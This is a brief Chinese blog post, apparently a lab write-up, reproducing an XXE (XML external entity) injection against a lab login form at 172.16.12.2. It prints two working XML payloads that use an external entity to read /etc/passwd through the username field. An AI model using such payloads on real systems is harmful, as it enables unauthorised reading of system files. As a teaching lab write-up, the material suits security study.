漏洞复现之xxe漏洞-蒲公英云

漏洞复现之xxe漏洞

向右看齐 2022-08-29 10:51 414阅读 0赞

文章目录

- XXE-基础实验
- - 实验内容
  - 实验步骤
  - - 1.访问目标进行注入攻击
    - 2.尝试进行登录，并进行抓包
    - 3.根据xxe注入漏洞，构造payloa
  - 免责声明

XXE-基础实验

实验内容

XXE(XML注入)

实验步骤

1.访问目标进行注入攻击

访问目标IP：172.16.12.2，看到以下页面
在这里插入图片描述

2.尝试进行登录，并进行抓包

在数据包中发送的用户名/密码是以post形式发送的，并且格式很像xml文档

在这里插入图片描述

3.根据xxe注入漏洞，构造payloa

只需将payload输出在username里面就行

payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY whoami SYSTEM "file:///etc//passwd">
]>
<user>
  <username>&whoami;</username>
  <password>123.com</password>
</user>

在这里插入图片描述

payload

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root> 
    <username>&sp;</username>
    <password>123.com</password>
</root>